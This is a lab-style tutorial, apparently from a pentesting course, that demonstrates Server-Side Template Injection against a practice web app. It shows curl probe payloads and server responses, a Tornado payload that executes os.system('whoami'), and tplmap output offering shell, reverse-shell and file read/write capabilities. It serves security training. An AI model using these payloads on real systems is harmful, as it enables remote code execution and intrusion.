SSTI Exploitation Part II In Web Applications (with exploitation example)
we are tasked with pentesting yet another internet-facing application. Our focus will be on identifying if the application is vulnerable to Server-Side Template Injection.
If you inspect the application’s traffic using Firefox’s Web Developer Tools ([Ctrl]+[Shift]+[I]), you will notice that user input is submitted inside a parameter called email and through a POST request to http://167.172.58.213:30935/jointheteam
Let’s submit mathematical expressions in curly brackets to the input field, such as the ones mentioned in the SSTI Identification section, starting with ${7*7}, as PortSwigger's diagram suggests.
cURL — Interacting with the Target
curl -X POST -d 'email=${7*7}' http://167.172.58.213:30935/jointheteam<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email ${7*7} has been subscribed. You'll hear from us soon!</em></h3>
</body>It doesn’t look like the application evaluated the submitted expression. Let’s try {{7*7}}
cURL — Interacting with the Target
curl -X POST -d 'email={{7*7}}' http://167.172.58.213:30935/jointheteam
<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email 49 has been subscribed. You'll hear from us soon!</em></h3>
</body>The application evaluated the submitted expression this time. Let’s continue, as PortSwigger’s diagram suggests, to identify the underlying template engine.
cURL — Interacting with the Target
curl -X POST -d 'email={{7*'7'}}' http://167.172.58.213:30935/jointheteam
<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email 49 has been subscribed. You'll hear from us soon!</em></h3>
</body>The application evaluated the latest expression we submitted. So, according to the diagram, we should be dealing with a Twig or Jinja2 template engine, right?
Unfortunately, this is not the case! If we submit any Twig or Jinja2-specific payload, the application returns 500: Internal Server Error. Find some examples of this behavior below.
curl -X POST -d 'email={{_self.env.display("TEST")}}' http://167.172.58.213:30935/jointheteam
<html><title>500: Internal Server Error</title><body>500: Internal Server Error</body></html>curl -X POST -d 'email={{config.items()}}' http://167.172.58.213:30935/jointheteam
<html><title>500: Internal Server Error</title><body>500: Internal Server Error</body></html>curl -X POST -d 'email={{ [].class.base.subclasses() }}' http://167.172.58.213:30935/jointheteam
<html><title>500: Internal Server Error</title><body>500: Internal Server Error</body></html>The payloads we utilized (and more) can be found on PayloadsAllTheThings — Template Injection and HackTricks- SSTI (Server Side Template Injection)
It should be straightforward now that no methodology is bulletproof. We could compile a list of template engine-specific payloads from the abovementioned resources and fuzz the application until we conclude on the template engine being used.
Eventually, when submitting Tornado-specific payloads, we will come across the below.
curl -X POST -d "email={% import os %}{{os.system('whoami')}}" http://167.172.58.213:30935/jointheteam
<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email 0 has been subscribed. You'll hear from us soon!</em></h3>
</body>It seems we finally got it! Tornado is being utilized on the backend.
As already mentioned in previous sections, tplmap can be used to automate both the template engine identification and exploitation process.
tplmap.py
./tplmap.py -u 'http://167.172.58.213:30935/jointheteam' -d email=blah
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if POST parameter 'email' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
POST parameter: email
Engine: Tornado
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
